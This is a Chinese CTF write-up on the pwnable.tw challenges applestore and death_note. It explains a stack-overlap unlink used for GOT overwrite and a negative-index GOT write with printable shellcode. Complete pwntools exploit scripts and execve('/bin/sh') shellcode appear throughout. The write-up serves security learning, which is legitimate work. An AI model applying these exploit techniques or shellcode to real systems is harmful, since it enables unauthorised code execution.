pwnable.tw 部分题目 writeup

pwnable.tw中的applestore、death_note。

0x01 applestore

程序分析

保护机制

没有开启PIE,RELRO仅为 Partial RELRO,因此可以修改got表

数据结构

程序模拟了一个苹果商店的功能,用户可以往商品列表中增加或删除苹果设备

程序中加入删除商品时,会维护一个单向链表,链表节点结构体如下,链表头位于.bss段,其中,每个节点0x10大小的结构体由malloc(0x10)获得,节点中的device_name,也由malloc动态分配

插入节点操作:

删除节点操作如下,其中红框部分为重点

漏洞点

checkout函数中,当总金额达到7174元时,会在栈中开辟0x10大小的空间作为一个device结构体,插入到单向链表中

注意看到,这里,栈上的device结构体v2的地址,为ebp-20h

而cart函数中的buf的地址,为ebp-22h,可以覆盖掉checkout函数中插入链表的栈上的那个device结构体,并在接下来的打印device_name时泄漏任意地址。比如,将v2.device_name覆盖成atoi函数的got表地址,即可泄漏libc。

同样的,在delete函数中,也可以覆盖掉checkout函数中插入链表的栈上的那个device结构体,然后将它delete时可以进行unlink

漏洞利用

首先是要使总金额刚好为7174元,可以获得一个栈上的结构体。这里借助python脚本获得凑成7174元的方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''
=== Device List ===
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199
'''
for a in range(37):
for b in range(24):
for c in range(18):
for d in range(15):
if (199*a+299*b+399*c+499*d)==7174:
print "a:"+str(a)+"\tb:"+str(b)+"\tc:"+str(c)+"\td:"+str(d)

符合条件的结果很多,随便挑一个方案就好了。

然后利用上面讲到的,通过atoi函数的got表项来泄漏libc的地址。

接下来就是通过unlink来劫持执行流了

这里详细看一下题目中的unlink:

例如,如果将next_device覆盖成addr_1-0xc,将pre_device覆盖成addr_2,就可以往addr_1写入addr_2,前提是addr_1和addr_2所在的区域都具有可写权限。因此,一开始我想通过这样,向atoi_got中写入system函数的地址。但是经过调试发现是不可行的,因为system函数的地址不具备写的权限,这样完整的unlink无法完成,程序会因为地址权限错误崩溃。

因此,这里利用的思路是,通过libc中的environ变量,泄漏出栈的地址,然后在delete()函数中,通过unlink将delete函数保存的old ebp(即handler函数的ebp)修改成atoi_got+22h的地址。然后通过delete函数中的leave指令(等价于mov esp, ebp ; pop ebp)使得handler函数的ebp寄存器中的值为atoi_got。返回到handler函数后,可以看到,handler函数的读取选项的缓冲区地址为ebp-22h,即:atoi_got+22h-22h=atoi_got,而且,通过汇编可以看到这里my_read函数确实是通过ebp值来寻址的,这样就可以往atoi_got中写入system函数的值了

完整EXP

关键代码已作注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#-*-coding:utf8-*-
from pwn import *

context.terminal = ['terminator', '-x', 'bash', '-c']

if args['REMOTE']:
p = remote('chall.pwnable.tw', 10104)
elf = ELF('./applestore')
libc = ELF('./libc_32.so.6')
else:
p = process('./applestore')
elf = ELF('./applestore')
libc = elf.libc


'''
=== Device List ===
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199
'''

def add(device):
p.sendlineafter('> ', '2')
p.sendlineafter('Device Number> ', str(device))

def delete(index):
p.sendlineafter('> ', '3')
p.sendlineafter('Item Number> ', str(index))

def pwn():
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

for i in range(6):
add(1)
for i in range(20):
add(2)
p.sendlineafter('> ', '5')
p.sendlineafter('> ', 'y')

#leak libc
p.sendlineafter('> ', '4')
p.sendafter('> ', 'yy'+p32(puts_got)+p32(1)+p32(0)+p32(0))
p.recvuntil('27: ')
libc.address = u32(p.recvn(4)) - libc.symbols['puts']
log.success('libc base : ' + hex(libc.address))

#leak stack via environ
environ = libc.symbols['environ']
p.sendlineafter('> ', '4')
p.sendafter('> ', 'yy'+p32(environ)+p32(1)+p32(0)+p32(0))
p.recvuntil('27: ')
old_ebp = u32(p.recvn(4)) - 0x104
log.success('ebp value : ' + hex(old_ebp))

#unlink to change saved_ebp
delete('27' + p32(atoi_got) + p32(1) + p32(old_ebp-0xc) + p32(atoi_got+0x22))

#overwrite atoi_got to system
system = libc.symbols['system']
p.sendlineafter('> ', p32(system)+';/bin/sh\x00')
#gdb.attach(p)
#p.sendlineafter('> ', '')

pwn()
p.interactive()

0x02 death_note

程序分析

保护机制

只开启了Canary和Partial Relro,且具有RWX(可读可写可执行)段

漏洞点

add_note函数中,当index<0时,可向前数组越界,可往目标地址处写入一个堆的地址

漏洞利用

由于全局变量note数组位于.bss段,向前越界可以写的目标有got表。例如,输入index为-16(该处为puts函数的got表项),然后输入name时输入shellcode,这样puts函数的got表项就会被改写成shellcode的地址了。

printable shellcode

但是这道题有一个限制,会用is_printable函数对输入的内容进行检查,必须为可显字符,这样常规的shellcode是会被拦截的。

这里直接使用了p4nda大哥的writeup,里面提到,本题中可用的一些可打印的汇编指令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

结合触发shellcode(call puts)时的寄存器状态,p4nda大哥写出了如下shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
shellcode = '''
/* execve(path='/bin///sh', argv=0, envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
/*rewrite shellcode to get 'int 80'*/
push edx
pop eax
push 0x60606060
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x3e3e3e3e
pop edx
sub byte ptr[eax + 0x34] , dl
/*set zero to edx*/
push ecx
pop edx
/*set 0x0b to eax*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*foo order,for holding the place*/
push edx
pop edx
push edx
pop edx
'''
shellcode = asm(shellcode) + '\x6b\x40'

这里觉得比较巧妙的是rewrite shellcode to get 'int 80'这一步,因为原本的int 0x80指令是不可显的,这里就用一些可显得指令去重写shellcode,使该处的指令最终变成int 0x80。太厉害啦!

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import binascii
context.terminal = ['terminator', '-x', 'bash', '-c']
context(arch = 'i386', os = 'linux')

if args['REMOTE']:
p = remote('chall.pwnable.tw', 10201)
else:
p = process('./death_note')

def add(index, name):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Index :', str(index))
p.sendlineafter('Name :', name)

def show(index):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(index))

shellcode = '''
/* execve(path='/bin///sh', argv=0, envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
/*rewrite shellcode to get 'int 80'*/
push edx
pop eax
push 0x60606060
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x3e3e3e3e
pop edx
sub byte ptr[eax + 0x34] , dl
/*set zero to edx*/
push ecx
pop edx
/*set 0x0b to eax*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*foo order,for holding the place*/
push edx
pop edx
push edx
pop edx
'''
shellcode = asm(shellcode) + '\x6b\x40'

def pwn():
gdb.attach(p, 'b *0x080487ef')
#print binascii.b2a_hex(shellcode)
#print disasm(shellcode)
add(-16, shellcode)

pwn()
p.interactive()
0%